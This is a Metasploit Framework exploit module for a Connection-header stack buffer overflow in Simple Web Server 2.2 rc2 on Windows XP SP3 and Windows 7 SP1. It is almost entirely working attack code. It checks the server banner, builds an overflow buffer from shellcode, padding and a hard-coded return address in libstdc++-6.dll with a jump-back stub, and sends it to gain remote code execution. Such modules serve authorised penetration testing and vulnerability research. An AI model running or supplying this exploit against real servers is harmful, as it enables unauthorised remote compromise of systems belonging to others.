Simple Web Server – Connection Header Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Simple Web Server Connection Header Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user can send a long string data in the Connection Header to causes an overflow on the stack when function vsprintf() is used, and gain arbitrary code execution. The module has been tested successfully on Windows 7 SP1 and Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr.pr0n', # Vulnerability Discovery and PoC 'juan' # Metasploit module ], 'References' => [ ['EDB', '19937'], ['URL', 'http://ghostinthelab.wordpress.com/2012/07/19/simplewebserver-2-2-rc2-remote-buffer-overflow-exploit/'] ], 'Payload' => { 'BadChars' => "\x00\x0a\x0d", 'Space' => 2048, 'DisableNops' => true, 'PrependEncoder' => "\x81\xC4\x60\xF0\xFF\xFF", # add esp, -4000 }, 'DefaultOptions' => { 'EXITFUNC' => "process", }, 'Platform' => 'win', 'Targets' => [ [ 'SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x6fcbc64b, # call edi from libstdc++-6.dll 'Offset' => 2048, 'OffsetEDI' => 84 } ] ], 'Privileged' => false, 'DisclosureDate' => "Jul 20 2012", 'DefaultTarget' => 0)) end def check res = send_request_raw({'uri'=>'/'}) if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit sploit = payload.encoded sploit << rand_text(target['Offset'] - sploit.length) sploit << [target.ret].pack("V") # eip sploit << rand_text(target['OffsetEDI']) sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{sploit.length}").encode_string print_status("Trying target #{target.name}...") connect send_request_cgi({ 'uri' => '/', 'version' => '1.1', 'method' => 'GET', 'connection' => sploit }) disconnect end end |